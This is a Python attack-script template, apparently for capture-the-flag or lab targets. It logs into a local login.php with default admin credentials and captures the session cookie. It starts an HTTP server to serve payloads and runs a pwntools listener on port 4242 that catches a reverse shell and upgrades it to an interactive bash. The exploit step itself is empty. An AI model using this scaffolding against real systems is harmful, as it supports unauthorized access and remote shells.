import requests
from time import sleep
import threading # for http server
from pwn import listen

waitTime = 2

url = "http://localhost/"
myIP = "xxx"

invalidLoginResponse = "Invalid Username/Password"

def login(session):
    path="login.php"
    data = {
        "username":"admin",
        "password":"admin"
    }

    response = session.post(url+path, data=data)
    
    if invalidLoginResponse in response.text:
        print(response.text)
        return False
    else:
        return True
            
def exploit(session,ticketName):
    pass

def handler():
    l = listen(4242)

    l.sendline(""" python -c 'import pty; pty.spawn("/bin/bash")' """)
    l.sendline(""" export TERM=xterm256-color """)
    l.sendline(""" alias ls='ls -la --color=auto' """)
    l.sendline(""" alias l='ls' """)

    print("Starting interactive shell:")

    l.interactive()


def startHTTPServer():
    from http.server import HTTPServer, SimpleHTTPRequestHandler

    port = 8000
    
    httpd = HTTPServer(("0.0.0.0", port), SimpleHTTPRequestHandler)
    print("serving http at port:" + str(port))

    httpd.serve_forever()

def backgroundHTTPServer():
    threading.Thread(target=startHTTPServer).start() # start http server in background


def startHax():

    success = False

    while success == False:
        try:
            with requests.Session() as session:
        
                print("Logging in... ", end='')

                try:
                    if login(session):
                        cookie = {'PHPSESSID': requests.utils.dict_from_cookiejar(session.cookies)['PHPSESSID']}
                        print("Success! (cookie: "+str(cookie)+")")

                        
                        # do stuff here

                        
                    else:
                        print("Error logging in :(")

                except KeyError:
                    print("Error signing in - didn't get a cookie :/")


            success = True
        except requests.exceptions.ConnectionError:
            success = False
            print("No route to host :((")
            sleep(waitTime)
    

startHax()
